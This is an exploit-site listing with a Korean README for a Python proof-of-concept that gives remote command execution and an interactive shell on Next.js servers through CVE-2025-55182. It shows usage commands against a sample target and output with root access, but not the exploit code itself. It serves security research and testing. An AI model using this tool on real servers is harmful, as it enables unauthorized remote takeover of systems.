Exploit for Deserialization of Untrusted Data in Facebook React CVE-2025-55182

## https://sploitus.com/exploit?id=37AAE70B-D039-5A46-BBF3-C3A86661335B
# CVE-2025-55182 Next.js Exploit Tool

이 도구는 Next.js의 취약점(CVE-2025-55182)을 이용하여 원격 명령 실행(RCE)을 수행하는 PoC(Proof of Concept) 스크립트입니다.
대상 서버의 취약점을 확인하고, 단일 명령어 실행 또는 대화형 쉘 모드를 지원합니다.

## 주요 기능

- **단일 명령어 실행**: 한 번의 명령어를 전송하고 결과를 확인합니다.
- **대화형 쉘 (Interactive Shell)**: 마치 터미널에 접속한 것처럼 연속적으로 명령어를 실행할 수 있습니다.
- **결과 파싱**: Next.js의 복잡한 에러 응답에서 명령어 실행 결과만 깔끔하게 추출하여 보여줍니다.
- **프록시 지원**: Burp Suite 등을 통한 분석을 위해 HTTP 프록시 설정을 지원합니다.

## 설치 및 사전 준비

이 스크립트는 Python 3로 작성되었으며, 다음 라이브러리가 필요합니다.

```bash
pip install requests rich
```
* `rich`: 컬러 출력 및 대화형 프롬프트를 위해 사용됩니다. (설치되어 있지 않아도 기본 기능은 작동합니다.)

## 사용 방법

```bash
python poc.py -u  [옵션]
```

### 필수 옵션

- `-u`, `--url`: 대상 Next.js 서버의 URL (예: `http://192.168.10.92:3000`)

### 실행 모드 (둘 중 하나 필수)

- `-c `, `--cmd `: 실행할 단일 명령어 지정
- `--shell`: 대화형 쉘 모드로 진입

### 추가 옵션

- `-v`, `--verbose`: 상세 출력 모드 (전송되는 페이로드나 전체 응답 확인 시 유용)
- `-p `, `--proxy `: 프록시 서버 설정 (예: `http://127.0.0.1:8080`)

## 사용 예시

### 1. 단일 명령어 실행 (`id` 확인)

```bash
python poc.py -u http://192.168.10.92:3000 -c "id"
```

### 2. 대화형 쉘 실행

```bash
python poc.py -u http://192.168.10.92:3000 --shell
```

**실행 화면:**
```text
[+] 대상 URL: http://192.168.10.92:3000
[*] 대화형 쉘 모드 시작 ('exit' 또는 'quit'으로 종료)
Shell> whoami
root
Shell> ls -la
total 64
drwxr-xr-x 1 node node 4096 Dec  8 06:12 .
...
```

### 3. 프록시를 통한 트래픽 확인

```bash
python poc.py -u http://192.168.10.92:3000 --shell -p http://127.0.0.1:8080
```

## 주의사항

- 이 도구는 **보안 연구 및 교육 목적으로만 사용**해야 합니다.
- 허가받지 않은 시스템에 대한 테스트는 불법이며, 이에 따른 모든 책임은 사용자에게 있습니다.